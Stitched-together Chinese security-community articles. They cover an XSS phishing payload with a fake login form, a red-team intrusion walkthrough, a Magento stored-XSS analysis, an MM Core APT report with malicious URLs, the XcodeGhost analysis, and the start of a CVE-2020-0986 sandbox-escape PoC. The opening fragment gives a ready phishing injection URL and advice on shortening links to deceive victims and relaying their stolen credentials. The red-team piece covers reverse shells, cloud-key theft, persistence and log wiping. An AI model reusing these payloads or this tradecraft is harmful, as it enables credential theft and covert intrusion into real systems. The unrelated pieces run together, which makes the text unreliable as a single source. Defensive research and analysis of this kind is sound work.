"><form action="http://127.0.0.1:8000">
account: <input type="text" name="account"><br>
password: <input type="text" name="pwd" ><br>
<input type="submit" value="submit">
</form>
登入框是出来了，但是videoid参数的位置不止一处，所以出现了两个登入框，且还有很多冗余的代码，
继续改进payload，利用不闭合的`<textarea>`吸收掉登入框后多余的代码
payload:
"><form action="http://127.0.0.1:8000">
account: <input type="text" name="account"><br>
password: <input type="text" name="pwd" ><br>
<input type="submit" value="submit">
</form>
<textarea>
`<textarea>`吸收掉登入框后多余的代码但是像上方截图还是不够让人相信，那在改进一下
payload:
"><form action="http://127.0.0.1:8000">
account: <input type="text" name="account"><br>
password: <input type="text" name="pwd" ><br>
<input type="submit" value="Login">
</form>
<textarea rows="1" cols="30">
please enter your account and password to login.
这个钓鱼页面我做的还不够好，若是真的上战场用于钓鱼时，可以多花些时间做的更逼真
## 将钓鱼页面用于实践
本地实践：
http://xxxxx.com/xxxx.asp?videoid="><form action="http://127.0.0.1:8000">account: <input type="text" name="account"><br>
password: <input type="text" name="pwd" ><br><input type="submit" value="Login"></form><textarea rows="1" cols="30">
please enter your account and password to login.
在公网上公网实践
http://xxxxx.com/xxxx.asp?videoid="><form action="https://www.runoob.com/">account: <input type="text" name="account"><br>password: <input type="text" name="pwd" ><br><input type="submit" value="Login"></form><textarea rows="1" cols="30">
please enter your account and password to login.
在钓鱼时链接太长了容易被人怀疑，我们使用小码短链接这个网页生成一个短链接，工具地址：<https://xiaomark.com/>
生成短链接之后发送给受害者
## 钓鱼页面的危害
综上所述，思路是我们制作的这个钓鱼页面，可以诱导用户输入网站的账号密码，被我们自己搭建在公网上的服务器获取，跳转到我们自己搭建的服务器时，我们可以在自己的服务器上写一段代码传送获取到的账号密码跳转到的这个钓鱼页面网站的真实登入页面进行登入，神不知鬼不觉，在受害者看起来，就像是一次正常操作。 | 社区文章 |
**作者：风起@知道创宇404实验室
时间：2021年8月9日**
# 前言
大家好，我是风起，最近一直在做安全研究及Kunyu的开发维护，已经好久没有写红队攻防相关的文章了，那么近期将带来 “红队实战攻防技术” 系列的文章。
当前行业内组织的 “红蓝对抗演习”
在检验企业安全的同时也在磨练技术人员的技术水平，在近几年的演习中可以发现攻防双方的水准都有了极大的提升，本文将以红队的视角去阐述技术思想。与常规的渗透测试相比，红队攻防更多的是渗透思想上的差异，而我个人的理解认为
“隐蔽”、“持久化”是最重要的思想，如何做到快速、高效的拿下目标，隐蔽、持久的进一步操作，也正是核心的差异所在。熟悉我的读者，一定看过之前
“红队攻防基础建设” 相关的文章，本文也会串联之前知识点灵活的运用到实战场景下。
作为本系列的第一篇文章，将以一次公司红蓝对抗实战演练平台的渗透，引出一系列的知识点及渗透时的一些小Tips，希望能够对您有所帮助。
**本文仅做安全研究作用，切勿违法乱纪** 。
# 快速打点
拿到一个目标，我们首先要做的就是快速的对目标进行信息收集。对相关的功能点进行测试、熟悉网站的业务流程，这是非常重要的一个环节。应对不同的渗透场景，可以将这个环节仔细或简略去做。
**这里建议在打点的时候下挂代理，选择SSR的负载均衡模式，防止被封禁IP、IP定位到真实位置，尤其是企业专线，例如埃文科技、IPIP对于企业专线的定位非常准确。**
使用Kunyu快速对该站点进行信息收集，可能大家会想空间测绘去做信息收集是否会有一定的不准确性？是的，对于一些新增的资产可能未必会及时更新上去。但是通常对于一些成熟的业务站点，并不会去频繁的对站点进行变动端口服务等操作，所以在快速打点时这样的方式无疑大大提高了效率，同时也避免了主动扫描可能造成的影响。
如上图，通过 Title 不难判断出不同端口相关的业务，首先来看第一个。
Eureka 是 Netflix 开源的一款提供服务注册和发现的产品，可以与Spring
boot构建的微服务很容易的整合起来。这里我们发现该服务直接暴露在公网中可未授权访问，于是我们快速对其进行信息收集分析。
但是很遗憾，这些实例所指向的是内网地址且端口不对外开放，但是我们得到了本服务器的内网IP，并且得知是一台Aliyun IDC服务器。
**这里读者们可以留意一下，我们下面会再次迂回到这里。**
继续看一下6363端口的服务，推荐大家使用Wappalyzer对站点框架信息快速收集，下图中可以直接通过 Wappalyzer 得知目标环境，当然上面
“小绿叶” 的 ICO 图标也可以看出是SpringBoot的框架。
对于SpringBoot框架的站点，我们可以快速FUZZ下未授权端点。
这里有一个Tips，Spring Boot Actuator
1.x版本默认路由的起始路径为/，2.x版本则统一以/actuator为其实路径。通过上图不难看出目标站点是Spring Boot Actuator
1.x版本。这里造成信息泄露的原因是相关人员没有更改配置文件，忘记切换环境配置。
这里我们重点关注env、jolokia、heapdump、trace四个端点即可。
**env 获取全部环境属性**
**jolokia 获取全部环境属性**
**heapdump 返回一个GZip压缩的hprof堆转储文件**
**trace 提供基本的 HTTP 请求跟踪信息**
当我们访问未授权的/env端点的时候，Spring Actuator将会返回一些配置信息，其中不乏一些用户凭证，但是会将一些含关键字(如
password、secret)的属性用 *
替换以达到脱敏的效果，如下图。同时也会有一些未进行脱敏的属性，像本次的目标比较有趣的是它使用了二层加密，致使我们得到这些属性信息也无法进行直接利用。这个加密以
@ 分隔前面一段像是hash，后面像是base64加密，有熟悉的同学可以留言交流一下。
前面FUZZ我们得知目标开放了/jolokia端点，我们可以据此进行读取脱敏数据或GETSHELL获取权限。
通过调用 org.springframework.cloud.context.environment.EnvironmentManager 类实例的
getProperty 方法获取脱敏后的数据，得到的属性值在返回JSON的value中。如上所说，也是二层加密后的数据。
可能小伙伴会问，如果恰好没有开放/jolokia这个端点呢？确实在很多情况下，并不一定都会开放这个端点。所以此时可以关注一下/heapdump，通过下载本端点的文件可获取到服务器相关堆信息，通过对该文件进行审计也可能获取到经过脱敏处理的数据，可以使用MemoryAnalyzer或者VisualVM打开该文件，这里经过测试发现我们想获取到的属性值都经过了二层加密，所以就不进行审计了，下面贴一张图。
根据关键字匹配找相关的值就行，考验眼功的时候到了。
最后是/trace端点，可以获取到一些 http 请求包访问跟踪信息，有可能在其中发现内网应用系统的一些请求信息详情；以及有效用户或管理员的
cookie、jwt token 等信息。
主要的作用还是帮助我们得到一些用户的登录cookie信息，从而登录到后台。但是值得注意的是，并不是其中记录的所有Cookie都可以使用并登录，因为有一些未经过鉴权之前的请求也会记录在里头，这时我们可以通过判断请求的资源来确认哪些是登陆后进行的。当然如果距离该请求的时间过久，Cookie失效了同样也不行。
# 漏洞利用
那么上面说到通过/jolokia端点可以进行RCE，现在我们转变战略，先拿SHELL再进行审计。
这里我们利用的是jolokia Realm JNDI RCE漏洞，基础理论知识这里不再赘述，感兴趣的同学可以看下面的文章，很详细的把Spring
Boot的各类安全问题都进行了梳理，但是我们这里的利用会有点不同寻常。
<https://github.com/LandGrey/SpringBootVulExploit>
利用条件：
* 目标网站存在 `/jolokia` 或 `/actuator/jolokia` 接口
* 目标使用了 `jolokia-core` 依赖（版本要求暂未知）并且环境中存在相关 MBean
* 目标可以请求攻击者的服务器（请求可出外网）
* 普通 JNDI 注入受目标 JDK 版本影响，jdk < 6u141/7u131/8u121(RMI)，但相关环境可绕过
这里如何判断什么时候用哪一种利用方式其实很简单，访问 `/jolokia/list` 接口，查看是否存在 `type=MBeanFactory` 和
`createJNDIRealm` 关键词。其他的利用方式也是同理，去查看相匹配的关键字，如果有那么基本就是可用的。
首先我们跟着上面链接所指出的利用方式走一遍，但是出现了一个很有意思的问题： **marshalsec 接收到了目标请求，并且请求到了
JNDIObject.class，但是没有正常反弹回来shell，如下图** ：
根据经验，我首先意识到这种情况下只能是目标主机执行了命令请求到了架设的RMI服务，但是命令执行了却未成功。那么调转枪头，在Github上找另一份可以执行指定命令的EXP，进行高版本JDK的JNDI注入。
通过which
python命令发现目标主机有python2环境，可以提升至完全交互式Shell，防止意外掉线，当然这里一定要注意，像这一类的反弹shell我们一定要用反向代理之类的手段隐匿真实VPS
IP，并对Netcat进行流量加密，隐匿效果如下：
可以看到显示的仅是我们的代理地址，并且网络连接为代理服务器的IP及端口，与实际本地监听端口不同，而流量加密可以帮助我们执行的命令不会被态感设备捕获到，这也是红队攻防基础建设的一环，非常重要。
目标JAVA版本为1.8.0_241，是高于上面所述的普通JNDI注入要求的利用条件，这也解释了我们刚开始利用失败的原因。
这里发现目标主机开放了大量的Web服务以及redis数据库服务，并且都是以jar包的形式启动Web服务的，这也就是说，除非我们把jar包下载回来进行反编译修改添加WebShell并替换重启原有的Web服务才可以添加WebShell，通常来讲为了不破坏原有业务正常运转，我们是不能进行这种操作的。
很遗憾redis服务并没有未授权漏洞，所以我们继续对jar包下载回来进行反编译，对源码进行审计，看一下有没有一些用户凭证或者服务配置信息等。
这里配置的IP均为内网地址，这也对应了我们最开始获取到的内网IP为当前主机。其中包含了不少内网其他主机的登录凭证接口管理平台、消息推送平台等服务的Toekn，这里发现redis的密码为
**XXRedis639020XX**
这时，机智的风起哥立马发现了他的命名规则是根据redis的端口来设置的，其中前后缀不变，仅改变中间的端口号，这里我们直接拿下了当前服务器多个redis数据库。
继续审计，发现了Aliyun的AK/SK。
至此控制目标多台云服务器，并且发现均为同一内网下，这时根据之前获得的其他凭证即可进一步横向移动，不乏例如：mongodb、Mysql等搭建在其他服务器的数据库服务凭证。
这时在当前目标上起一个反向代理，因为实际测试过程中发现，目标SSH服务并不能通过外网直接连接，所以利用这样的方式进行连接，当然也有一个好处，就是目标上记录日志的登录IP为内网本地的，也达到了一些隐匿的效果。
当然，查看日志也发现了， 另一个登录的IP为企业专线，这也解释了，目标服务器的登录应该是做了安全组限制了登录SSH服务的网段仅能从其企业内网连接。
**至此，演示结束。**
# 权限维持
这里因为不准备进一步横向，所以仅以本地环境讲解思路。对于Linux的主机我们在外部打点之后，首先需要做的就是权限维持，其实红队演练与APT相似的是核心同样在于
“持久化”
，我通常习惯留私钥登录以及创建高权限用户，一般创建的用户名以服务命名非常迷惑，但是通过这么不寻常的权限也一定能看出来端倪。这时不要为了方便而这么做，非常容易暴露，这时可以做一些sudo提权或者SUID文件等操作间接的使用root权限，如下图(反面例子)：
当然，红队攻防不仅仅是一个人战斗，所以在拿到shell后可以上线到自己C2上，Linux上线CobaltStrike的方式可以使用CrossC2插件进行，这里仅作安全研究，所以不做此操作。而使用nohup的方式留以持续性的代理的方式也比较容易被发现，所以建议使用frp进行代理，也因为它的可拓展性非常高，通过免杀或修改配置文件等方式可以进行躲避流量监测。
需要注意的是，一定要对痕迹进行清理。在蓝队处置的过程中，重点关注的对象就是一些登录、服务日志、进程、端口，新建文件，这也是雷区所在，一定要在这些方面下功夫。尤其是历史命令，不清理被还原出攻击路径的概率非常大，这也会被一步步揪出来。如果能够顺利通过处置人员的排查，那么恭喜你可以安心继续了，因为在非必要或确认失陷的情况，没有甲方愿意去隔离当前业务，尤其是对外服务、内部OA、工控系统等，停止业务系统都可能造成不可估量的损失。当然要是一些不重要的业务，也可能直接就给关掉了，虽然不符合规定。
在进入内网环境下，每一步操作都需要非常的慎重，尤其是涉及端口、进程的操作。因为稍有不慎，被捕获到异常操作，会引起防守方极大的重视。尤其是多次异常告警的情况下，通常在第一次告警的情况下，蓝队成员未排查出异常操作后会对该主机进行重点关注，如果继续出现告警，那么极有可能直接进行单机隔离。那么此时在权限掉线又没有办法清理痕迹的情况下，不要慌张，去泡杯花茶，这样凉凉后会比较香。
对于一些新晋红队的同学，风起哥建议首先做好基础建设，比如免杀、隐匿、工具特征改造、匿名VPS、邮箱、手机号、身份信息等，最好在纯净的虚拟机中进行渗透操作（别搁虚拟机里看什么腾讯视频）。如果被蜜罐抓到ID，那么基本上被溯源出来的概率就很高了，你可能还在愉快的渗透着，突然告诉你出局了。别惊讶，多看看群，是不是有蓝队兄弟问到你的ID了哈哈哈（除非你叫什么张三、李四、王二麻子这种迷惑的ID）。
**就先讲到这里，上面一段全是文字了，想必在读的同学也懒得看了，这里系列后面的文章再讲**
# 后记
感谢各位读者的支持，在前一阵发布了Kunyu(坤舆)，也是文章开始时使用的信息收集工具，感兴趣的小伙伴可以自行下载使用，是一款非常不错的被动信息收集工具，风起强烈推荐哦~
本篇文章，从红队的视角剖析了渗透的思路，对一些需要注意的细节进行了着重讲解。渗透的过程不是关键，重要的是其中的思路，所以本文有一些利用细节都给省略了，仅以辅助去讲解，我认为这种结合实际的讲解是非常必要的，如果仅仅只去讲思路，谁会去听？嘿嘿，除非特别棒，要不我是不看的。我觉得自己是一个比较实在的人，有一说一的那种，所以也很喜欢去做一些分享，或许也是希望更多的同学能够去做我想做的，间接的弥补我的遗憾吧。
最后，祝各位心想事成，美梦成真！
# Community
有想要认识一下，或者交流技术的同学，可以通过以下方式联系作者:
# 参考链接
<https://github.com/knownsec/Kunyu/>
<https://blog.csdn.net/weixin_40418457/article/details/116424252>
<https://github.com/LandGrey/SpringBootVulExploit#0x05jolokia-realm-jndi-rce>
* * * | 社区文章 |
# magento存储型xss详细分析
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
影响版本：Magento CE <1.9.2.3 and Magento EE <1.14.2.3
**0x00 Magento简介**
Magento (麦进斗)
是一套专业开源的电子商务系统。传说中的全球第一的电子商务系统。Magento设计得非常灵活,具有模块化架构体系和丰富的功能。易于与第三方应用系统无缝集成。其面向企业级应用,可处理各方面的需求,以及建设一个多种用途和适用面的电子商务网站。
包括购物、航运、产品评论等等,充分利用开源的特性,提供代码库的开发,非常规范的标准,易于与第三方应用系统无缝集成。一款新的专业开源电子商务平台,采用php进行开发,使用Zend
Framwork框架。设计得非常灵活,具有模块化架构体系和丰富的功能。易于与第三方应用系统无缝集成。在设计上,包含相当全面,以模块化架构体系,让应用组合变得相当灵活,功能也相当丰富。为了打开盈利途径,Magento同时具备收费的企业版本,积极谋求合作和第三方整合的工具,比如电子支付平台等。
**0x02 描述**
在2016年1月20日,Magento发不了SUPEE-7405补丁,修补了一个高危存储型xss漏洞。攻击者只需要注册一个帐号,修改自己邮箱为攻击代码,并利用该账户提交一个订单,当管理员在后台查看此订单的时候,恶意脚本代码将被执行。
**0x03 验证性测试**
第一步,首先我们注册一个帐号,然后修改邮箱设置,发现有js邮箱验证,通过抓包改包工具成功修改邮箱为我们的恶意代码
第二步,浏览商品,提交订单
第三步,管理员浏览后台,查看订单详情,出发漏洞
**0x04 代码分析**
恶意数据执行流程:
D:WWWmagentoappcodecoreMageCustomercontrollersAccountController.php
---->public function editPostAction()
D:WWWmagentoappcodecoreMageEavModelForm.php
----->public function validateData(array $data)
D:WWWmagentolibZendValidateEmailAddress.php
从代码中可以看出没有明显的xss防御代码 "><script>alert(1)</script>" 可以通过检测,最后进入数据库。
当管理员访问后台订单详情的时候:
直接从订单数据库中取出邮箱数据,并没有过滤,形成存储xss漏洞。
**0x05 修复建议**
升级到最新版本Magento CE 1.9.2.3 和 Magento EE 1.14.2.3
由需要的同学可以查看原文：<https://blog.sucuri.net/2016/01/security-advisory-stored-xss-in-magento.html> | 社区文章 |
# 【技术分享】MM CORE内存型后门回归“BigBoss”和“SillyGoose”
|
##### 译文声明
本文是翻译文章，文章来源：blogs.forcepoint.com
原文地址：<https://blogs.forcepoint.com/security-labs/mm-core-memory-backdoor-returns-bigboss-and-sillygoose>
译文仅供参考，具体内容表达以及含义原文为准。
****
**翻译：**[ **myswsun**
****](http://bobao.360.cn/member/contribute?uid=2775084127)
**预估稿费：100RMB**
******投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:linwei@360.cn) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿******
**
**
**0x00 介绍**
在2016年10月Forcepoint安全实验室发现了一个新版本的MM Core后门。也叫做“BaneChant“，MM
Core是没有文件形态的APT，通过一个下载组件在内存中执行。在2013年它第一个版本”2.0-LNK“首次被披露，在它的C&C服务器请求中有”BaneChant“特征。第二个版本”2.1-LNK“的网络标记是”StrangeLove“。
在本文中我们我们发现的另两个版本，“BigBoss“（2.2-LNK）和”SillyGoose“（2.3-LNK）。”BigBoss“被发现于2015年中旬，”SillyyGoose“被发现于2016年9月。两个版本都还存活着。
**攻击目标区域和工业**
在2013年的报告中攻击目标是中东和中亚国家。我们发现最近的目标是非洲和美国。下面的列表是一些目标工业：
新闻媒体
政府
石油天然气
通信
**MM Core的功能**
MM Core后门的功能如下：
发送被感染系统的计算机名，Windows版本，系统时间，运行的进程，TCP/IP配置，和C盘到H盘的顶层目录
下载执行文件
下载在内存中执行文件
自我更新
自我卸载
**0x01 感染方法**
以前MM
Core下载组件通过CVE-2012-0158漏洞溢出的shellcode下载执行。然而新的DOC溢出通过CVE-2015-1641漏洞释放嵌入的恶意程序。这个被释放的恶意程序通过Dll
side-loading漏洞执行。
我们分析的这个DOC文档（SHA1：d336b8424a65f5c0b83328aa89089c2e4ddbcf72）的名字是“US pak track
ii naval
dialogues.doc”。这个文档利用CVE-2015-1641并且执行shellcode释放一个绑定了名为“ChoiceGuard.dll”木马DLL的合法的可执行文件。然后shellcode执行这个可执行文件，导致这个恶意的dll通过“side-loading”被加载。这个dll下载和在内存中执行没有文件形态的MM
Core后门。后门隐藏在一个JPEG文件中。这个JPEG文件包含代码用[Shikata ga
nai](https://www.rapid7.com/db/modules/encoder/x86/shikata_ga_nai)算法解密它自己。
一旦在内存中被解密执行，在第一次启动时这个MM
Core后门将释放和安装一个嵌入的下载器，同时添加到Windows启动目录实现自启动。这个下载器和第一个木马dll类似，然后再次执行并下载MM Core
JPEG，并在内存中执行。这次MM Core将创建后门处理函数发送系统信息并等待更多的命令。
感染过程概述如下：
**0x02 可靠的证书**
我们发现一些下载者组件（如ChoiceGuard.dll）用一个来自俄罗斯组织“BorPort”的有效的证书签名：
我们怀疑这可能是一个被盗证书，因为作者不可能用他们自己的组织的证书。
**0x03 更新内容**
新版的MM Core版本、互斥量、文件名、如下：
**0x04 逃逸策略**
MM Core做了很多努力阻止安全研究者跟踪分析。新版本的C&C服务器用需要登记的隐私保护服务。这个使得用WHOIS数据跟踪结构变得困难。
同时在BigRock（流行的网络服务公司）上面注册了他们的域名，这些域名混合在合法的网站中。
**0x05 总结**
MM Core是一个还存活的攻击多个国家和企业的威胁。有趣的是发现MM
Core的版本增加了两次，但是核心后门代码还是保留了几乎相同的文件名和互斥量名。最大的原因可能是由于无文件形态，也解释了为什么主要是更新了传播机制。攻击这很清楚他们要做什么，做了足够的更新来保证这些年攻击的持续有效。
另一方面，MM
Core和Gratem分享了代码、技术、网络架构，同时也和最近的一些样本分享了相同的证书。Gratem是从至少2014年来更加活跃。最后我们怀疑MM
Core可能还有很多动作没有被发现。
**0x06 IOCS**
Documents
d336b8424a65f5c0b83328aa89089c2e4ddbcf72 (US pak track ii naval dialogues.doc)
Dropper/Downloader Samples (SHA1)
f94bada2e3ef2461f9f9b291aac8ffbf81bf46ab
ef59b4ffc8a92a5a49308ba98cb38949f74774f1
1cf86d87140f13bf88ede74654e01853bae2413c
415ad0a84fe7ae5b88a68b8c97d2d27de5b3aed2
e8bfa4ed85aac19ab2e77e2b6dfe77252288d89b
f94bada2e3ef2461f9f9b291aac8ffbf81bf46ab
83e7b2d6ea775c8eb1f6cfefb32df754609a8129
b931d3988eb37491506504990cae3081208e1a66
7031f4be6ced5241ae0dd4315d66a261f654dbd6
ab53485990ac503fb9c440ab469771fac661f3cc
b8e6f570e02d105df2d78698de12ae80d66c54a2
188776d098f61fa2c3b482b2ace202caee18b411
e0ed40ec0196543814b00fd0aac7218f23de5ec5
5498bb49083289dfc2557a7c205aed7f8b97b2a8
ce18064f675348dd327569bd50528286929bc37a
3a8b7ce642a5b4d1147de227249ecb6a89cbd2d3
21c1904477ceb8d4d26ac9306e844b4ba0af1b43
f89a81c51e67c0bd3fc738bf927cd7cc95b05ea6
MM Core Unpacked DLL Samples (SHA1)
13b25ba2b139b9f45e21697ae00cf1b452eeeff5
c58aac5567df7676c2b08e1235cd70daec3023e8
4372bb675827922280e8de87a78bf61a6a3e7e4d
08bfdefef8a1fb1ea6f292b1ed7d709fbbc2c602
Related Gratem Samples (SHA1)
673f315388d9c3e47adc280da1ff8b85a0893525
f7372222ec3e56d384e7ca2650eb39c0f420bc88
Dropper/Downloader Payload Locations
hxxp://davidjone[.]net/huan/normaldot.exe
MM Core Payload Locations
hxxp://mockingbird.no-ip[.]org/plugins/xim/top.jpg
hxxp://presspublishing24[.]net/plugins/xim/top.jpg
hxxp://ichoose.zapto[.]org/plugins/cc/me.jpg
hxxp://presspublishing24[.]net/plugins/cc/me.jpg
hxxp://waterlily.ddns[.]net/plugins/slm/pogo.jpg
hxxp://presspublishing24[.]net/plugins/slm/pogo.jpg
hxxp://nayanew1.no-ip[.]org/plugins/xim/top.jpg
hxxp://davidjone[.]net/plugins/xim/top.jpg
hxxp://hawahawa123.no-ip[.]org/plugins/xim/logo.jpg
hxxp://davidjone[.]net/plugins/xim/logo.jpg
MM Core C2s
hxxp://presspublishing24[.]net/plugins/cc/mik.php
hxxp://presspublishing24[.]net/plugins/slm/log.php
hxxp://presspublishing24[.]net/plugins/xim/trail.php
Gratem Second Stage Payload Locations
hxxp://adnetwork33.redirectme[.]net/wp-content/themes/booswrap/layers.png
hxxp://network-resources[.]net/wp-content/themes/booswrap/layers.png
hxxp://adworks.webhop[.]me/wp-content/themes/bmw/s6.png
hxxp://adrev22[.]ddns.net/network/superads/logo.dat
hxxp://davidjone[.]net/network/superads/logo.dat | 社区文章 |
项目地址：https://github.com/WebBreacher/offensiveinterview
### 项目宗旨
收集大量线上的面试问题，为需要面试的渗透测试者和安全研究人员准备。
如果你是面试者，正在寻找问面试者的问题，下面有一些不错的问题，可访问 @doctorj 的页面：
https://gitlab.com/doctorj/interview-questions/blob/master/interview-questions.yml
### 问题组成
问题应该组织为（现在至少是这些）这几种不同的形式：
1. [开放性问题](https://github.com/WebBreacher/offensiveinterview/blob/master/open.md)
2. 这些问题有多种“正确”的回应方法。
3. 比如：
* “简要描述你是怎样使用钓鱼攻击来入侵受害者的电脑的。”
* “一旦你成功获得目标数据服务器的 shell ，你会干些什么？”
4. [基础知识问题](https://github.com/WebBreacher/offensiveinterview/blob/master/knowledge.md)
5. 这些问题的答案有对错之分。
6. 比如：
* “CSRF 是什么？它和 XSS 有哪些不同之处？”
* “`netcat` 和 `ncat` 的主要区别是什么？”
7. [基于场景的问题](https://github.com/WebBreacher/offensiveinterview/blob/master/scenario.md)
8. 这些通常是面试官创建特定场景，由被面试者来回答的问题。被面试应答期间，面试官会增加（更多信息|模仿客户|告诉面试者行动的时候回发生什么），以便更充分地了解面试者的知识广度和深度。
9. 比如：
* “我在网上有个 /24 子网。你是一名渗透测试者。告诉我，从头到尾，你会如何执行安全审计。”
* “你刚刚入侵了公司内网用户的 Mac OS X 笔记本。你的目标是窃取活动目录哈希。你将如何完成？”
10. [其它问题](https://github.com/WebBreacher/offensiveinterview/blob/master/other.md)
11. 这些问题不适合放在其它类别
12. 比如：
* 现在我没有这样的例子，但你可以有！
### 如何贡献
参考该项目的 [Git](https://github.com/WebBreacher/offensiveinterview)，根据相应格式进行提交。
* * * | 社区文章 |
# 【缺陷周话】第57期：函数调用时参数不匹配
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1、函数调用时参数不匹配
在函数调用时，传入函数的参数类型应与函数声明时相匹配，否则会存在函数调用时参数不匹配问题。
## 2、“函数调用时参数不匹配”的危害
在函数调用时，如果将参数隐式或显式的转换为一个较小数据类型时，会导致数据的精度丢失。造成函数调用时参数不匹配的原因很可能是一个编码错误。
## 3、示例代码
示例源于toyota-itc-benchmarks-master (https://github.com/regehr/itc-benchmarks)，源文件名：wrong_arguments_func_pointer.c。
### 3.1 缺陷代码
在上述示例代码中，第102行对函数wrong_arguments_func_pointer_004_func_001 进行声明，函数包含一个参数char
*p，在第113行对该函数进行调用并传入float类型参数a（变量a在第111行定义），函数需要的参数类型为char*但实际传入参数类型为
float，因此存在“函数调用时参数不匹配”问题。
使用代码卫士对上述示例代码进行检测，可以检出“函数调用时参数不匹配”缺陷，显示等级为中。如图1所示：
图1：“函数调用时参数不匹配”检测示例
### 3.2 修复代码
在上述修复代码中，对传入函数的参数类型进行了修改，从而避免了函数调用时参数不匹配。
使用代码卫士对修复后的代码进行检测，可以看到已不存在“函数调用时参数不匹配”缺陷。如图2：
图2：修复后检测结果
## 4、如何避免“函数调用时参数不匹配”
检查代码逻辑，确保调用函数使用的参数类型与函数声明时相匹配。 | 社区文章 |
# 涅槃团队：Xcode幽灵病毒存在恶意下发木马行为
|
##### 译文声明
本文是翻译文章，文章来源：360NirvanTeam
译文仅供参考，具体内容表达以及含义原文为准。
****
**本文是 360 Nirvan Team 团队针对 XcodeGhost 的第二篇分析文章。**
我们还原了恶意iOS应用与C2服务器的通信协议，从而可以实际测试受感染的iOS应用有哪些恶意行为。
最后，我们分析了攻击的发起点：Xcode，分析了其存在的弱点，以及利用过程，并验证了该攻击方法。
**一、恶意行为与C2服务器**
**1、通信密钥分析**
恶意程序将其与服务器通信的数据做了加密，如下图所示：
[](http://image.3001.net/images/20150919/14426696147299.png!small)
密钥的计算方法：
[](http://image.3001.net/images/20150919/14426696469639.png!small)
通过分析，密钥为：stringWi，生成密钥的方式比较有迷惑性。
**2、恶意行为分析**
**恶意行为一：做应用推广**
方法是：首先检测用户手机上是否安装了目标应用，如果目标应用没有安装，则安装相应应用，其中目标应用由C2服务器控制。
我们逆向了恶意代码与C2服务器的通信协议，搭建了一个测试的C2服务器。然后通过C2服务器可以控制客户端安装第三方应用（演示应用为测试应用，不代表恶意软件推广该应用），见视频：
这是第一个针对 XcodeGhost 能力的视频演示
**恶意行为二：伪造内购页面**
相关代码如下：
[](http://image.3001.net/images/20150919/14426697401379.png!small)
**恶意行为三：通过远程控制，在用户手机上提示**
[](http://image.3001.net/images/20150919/14426697613458.png!small)
**二、Xcode 的弱点及利用**
**1、Xcode 的利用过程描述**
Xcode
中存在一个配置文件，该配置文件可以用来控制编译器的链接行为，在受感染的Xcode中，该文件被修改，从而在链接阶段使程序链接含有恶意代码的对象文件，实现向正常iOS应用中注入恶意代码的目的。
被修改的文件内容如下：
[](http://image.3001.net/images/20150919/14426699431537.png!small)
从上图可以看到，程序会链接恶意对象文件 CoreService。
从链接过程的Log中可以看到其实如何影响链接过程的：
[](http://image.3001.net/images/20150919/14426699915994.png!small)
**注：实际上可以让CoreService从文件系统中消失，且在链接Log中没有任何额外信息。**
通过在配置文件中添加的链接选项，在工程的编译设置中无法看到，这就增加隐蔽性：
[](http://image.3001.net/images/20150919/14426700188547.png!small)
**2、对恶意代码 CoreService 的分析**
首先 CoreService 的文件类型为：Object，即对象文件。
查看 CoreService 中的符号，可以看到：
[](http://image.3001.net/images/20150919/14426700682031.png!small)
导入的符号有：
[](http://image.3001.net/images/20150919/14426700943791.png!small)
**3、验证概念**
首先编写一个ObjC的类，测试如下图：
[](http://image.3001.net/images/20150919/1442670122913.png!small)
[](http://image.3001.net/images/20150919/14426701234764.png!small)
制作出对象文件ProteasInjector.o，然后用这个文件替换掉CoreService文件，编译程序，然后反汇编，结果如下：
[](http://image.3001.net/images/20150919/14426701628862.png!small)
可以看到代码被注入到应用中。 | 社区文章 |
**作者：Muoziiy@天玄安全实验室**
**原文链接：<https://mp.weixin.qq.com/s/_hyjmkhD_RvKJdsXOt40uA>**
## 前言
这篇文章描述如何利用CVE-2020-0986实现IE沙箱逃逸。
本文不会给出完整的利用代码，只分享一些漏洞利用思路。
2021年4月30日，安恒威胁情报中心发布了一篇[《深入分析 CVE-2021-26411
IE浏览器UAF漏洞》](https://mp.weixin.qq.com/s?__biz=MzI1MDU5NjYwNg==&mid=2247489493&idx=1&sn=146720b9aa2c5d5b75679e1691cfe231&chksm=e9fe8a44de890352b91696cf57b30c8360f3ab2306ae2e779a5bd2325ef401d4aae5349efc93&scene=178&cur_album_id=1793105970730975235#rd)，里面详细分析了该漏洞的原理和利用过程，文章最后提到
"这种IE漏洞在IE11环境中需要配合一个提权漏洞才能实现代码执行，目前还未见到对这个漏洞配套使用的提权漏洞的披露"，所以本人以研究学习为目的，通过参考
@iamelli0t师傅在2020看雪SDC的演讲内容 [《逃逸IE浏览器沙箱：在野0Day漏洞利用复现
》](https://zhuanlan.kanxue.com/article-14133.htm)，复现了CVE-2020-0986的提权EXP，并配合CVE-2021-26411实现了IE
11沙箱逃逸。
## 漏洞概述
CVE-2021-26411已经在安恒的文章中已经做了详细描述，这里就不在介绍。
CVE-2020-0986是用户模式下打印机驱动主进程splwow64.exe存在任意指针取消引用漏洞，该漏洞允许使用任意参数在splwow64.exe进程空间内调用Memcpy函数，这实际上是在splwow64.exe进程空间内实现了一个任意地址写的原语。因为splwow64.exe是IE提权策略的白名单进程，所以可以利用IE的代码执行启动splwow64.exe进程，并通过发送特定LPC消息来操纵splwow64.exe进程内存，实现在splwow64.exe进程中执行任意代码并逃逸IE
11沙箱。
## POC
本次分析用到的POC来自[google project zero](https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2020/CVE-2020-0986.html)。
#include <iostream>;
#include "windows.h";
#include "Shlwapi.h";
#include "winternl.h";
typedef struct _PORT_VIEW
{
UINT64 Length;
HANDLE SectionHandle;
UINT64 SectionOffset;
UINT64 ViewSize;
UCHAR* ViewBase;
UCHAR* ViewRemoteBase;
} PORT_VIEW, * PPORT_VIEW;
PORT_VIEW ClientView;
typedef struct _PORT_MESSAGE_HEADER {
USHORT DataSize;
USHORT MessageSize;
USHORT MessageType;
USHORT VirtualRangesOffset;
CLIENT_ID ClientId;
UINT64 MessageId;
UINT64 SectionSize;
} PORT_MESSAGE_HEADER, * PPORT_MESSAGE_HEADER;
typedef struct _PORT_MESSAGE {
PORT_MESSAGE_HEADER MessageHeader;
UINT64 MsgSendLen;
UINT64 PtrMsgSend;
UINT64 MsgReplyLen;
UINT64 PtrMsgReply;
UCHAR Unk4[0x1F8];
} PORT_MESSAGE, * PPORT_MESSAGE;
